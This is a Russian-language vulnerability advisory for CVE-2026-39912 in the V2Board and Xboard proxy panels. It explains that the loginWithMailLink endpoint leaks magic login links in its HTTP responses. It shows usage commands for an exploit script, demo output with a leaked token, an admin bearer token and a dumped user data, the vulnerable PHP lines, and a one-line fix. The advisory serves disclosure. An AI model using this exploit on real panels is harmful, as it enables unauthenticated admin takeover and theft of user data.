CVE-2026-39912 — Xboard / V2Board: захват учётной записи без авторизации

Утечка токена magic-ссылки в loginWithMailLink


CVE	CVE-2026-39912
CVSS	9.1 (критический)
CWE	CWE-201 (вставка конфиденциальной информации в отправляемые данные)
Затронутые версии	V2Board с 1.6.1 по 1.7.4 включительно / Xboard все версии до 0.1.9+
Исправлено	Пока нет (V2Board заброшен с июня 2023 года)
Раскрыто	2026-04-09
Автор	Valentin Lobstein (Chocapikk)
Разбор	chocapikk.com
PR с исправлением	V2Board #981 / Xboard #873

TL;DR

Эндпоинт loginWithMailLink возвращает magic-ссылку для входа непосредственно в теле HTTP-ответа, а не отправляет её только по электронной почте. Неаутентифицированный злоумышленник, знающий зарегистрированный email, может захватить любую учётную запись — включая администратора — за два HTTP-запроса.

Затронутое ПО

V2Board — панель управления прокси-протоколами с открытым исходным кодом (8,7 тыс. звёзд, заброшен)
Xboard — форк V2Board (4+ тыс. звёзд, активно поддерживается)

Обе являются широко распространёнными VPN/прокси-панелями, в основном в Китае. По данным ZoomEye, в интернете доступно более 7000 экземпляров.

Требования

login_with_mail_link_enable должен быть включён в настройках администратора (по умолчанию выключен)
Действительный зарегистрированный email-адрес

Использование

# Install dependencies
pip install requests

# Account takeover + data dump
python3 exploit.py http://target:7001 [email protected]

# Save dump to file
python3 exploit.py http://target:7001 [email protected] -o dump.json

Демонстрация

$ python3 exploit.py http://target:7001 [email protected]

 Xboard / V2Board - Unauth Account Takeover
 Magic Link Token Leak (CVE-2026-39912) | by Choc
 V2Board >= 1.6.1 | Xboard <= 0.1.9+
 45 min from git clone to is_admin: true

[INFO] Requesting magic link for [email protected]
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK

{
  "auth": {
    "auth_data": "Bearer qCU2d9hS...",
    "is_admin": true
  },
  "dump": {
    "User Info": {
      "email": "[email protected]",
      "uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
      ...
    },
    "Subscription": {
      "subscribe_url": "http://target:7001/s/324396af...",
      ...
    },
    "Active Sessions": [ ... ]
  }
}

Ошибка

V2Board (app/Http/Controllers/Passport/AuthController.php):

SendEmailJob::dispatch([...]);

return response([
    'data' => $link   // Token leaked to caller
]);

Xboard (app/Services/Auth/MailLinkService.php):

$this->sendMailLinkEmail($user, $link);

return [true, $link]; // Same bug, inherited from fork

Исправление

- return [true, $link];
+ return [true, true];

CVE-2026-39912

Популярное